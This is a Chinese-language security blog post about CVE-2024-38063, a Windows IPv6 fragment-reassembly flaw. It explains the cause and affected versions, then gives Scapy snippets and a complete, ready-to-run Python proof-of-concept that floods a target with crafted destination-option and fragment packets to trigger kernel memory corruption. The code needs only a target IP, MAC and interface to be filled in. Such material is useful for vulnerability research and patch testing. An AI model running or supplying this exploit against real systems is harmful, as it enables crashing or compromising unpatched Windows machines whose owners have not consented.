part1
点击上方蓝字关注我们
往期推荐
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
1.摘要
CVE-2024-38063 是一个存在于 Windows TCP/IP 堆栈中的严重漏洞,专门针对 IPv6 子系统, 该漏洞允许通过利用系统对特制网络数据包的不当处理来实现远程代码执行。该漏洞存在于这些数据包的处理方式中,导致缓冲区溢出,使攻击者能够在受影响的计算机上执行任意代码。
2.漏洞影响范围
-
Windows10的所有版本都受影响, 因为默认情况下都启用了IPv6。
-
Windows11的所有版本都受影响, 因为默认情况下开启了IPv6。
-
Windows Server(2008至2022): 多个版本均受到影响, 包括标准版和服务器版。
3.漏洞形成原理
IPv6的开发是为了解决IPv4的局限性, 特别是IP地址耗尽的问题, 同时也带来了扩展标头等新功能, 其中包含用于处理数据包的附加指令。但如果这些扩展标头处理不当, 就可能会导致严重问题。该漏洞的根源在于IPv6数据包碎片的处理方式。当这些数据包到达目的地时, 它们应该被重新组装成原始形式。然而, WIndows内核的重组过程方法可以被利用。通过发送大量特制的数据包(每个数据包都带有经过操纵的扩展标头), 攻击者可以淹没系统。这种过载会导致内核错误处理内存, 从而导致缓冲区溢出, 这种溢出为攻击者注入和执行恶意代码创造了途径。
下面是使用这些特定的精心设计的标头创建IPv6数据包:
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
在这里,攻击者正在制作一个包含IPv6 扩展标头( IPv6ExtHdrDestOpt ) 的数据包。这个标头通常是无害的,但却填充了精心选择的数据,当内核尝试处理它时,这些数据会导致问题。该数据包的设计看起来与任何其他网络流量相似,但其内部携带可能会迷惑系统的有效负载。
一旦创建了恶意数据包,下一个逻辑步骤就是对其进行分段。 IPv6 支持数据包分段,以确保大数据包可以分解为较小的数据块,通过网络发送,然后由接收系统重新组装。
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
通过对数据包进行分段,攻击者引入了Windows 内核无法正确管理的复杂程度。通常,这些碎片会无害地重新组装成原始数据包。然而,当数据包包含前面提到的恶意扩展标头时,重组过程就变成了雷区。 Windows 内核对此进程的处理不当会导致内存损坏,这是远程代码执行等更严重漏洞的前提。
当攻击包准备好之后, 就可以通过以下方式进行发送:
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
在这里,攻击者不仅仅是发送几个数据包;而是朝目标发送一批数据包, 如果Windows内核处理不当便会导致内存溢出。这不仅仅与数量有关,还与时间有关。通过发送大量这些碎片化的恶意数据包,攻击者增加了内核以触发漏洞的方式处理它们的可能性。这种高流量场景至关重要,因为它有助于创造有效利用该缺陷所需的竞争条件。
以下是完整的Python Poc代码:
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='r')
time.sleep(1)
print("")
往期推荐
点个在看你最好看
原文始发于微信公众号(二进制空间安全):Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论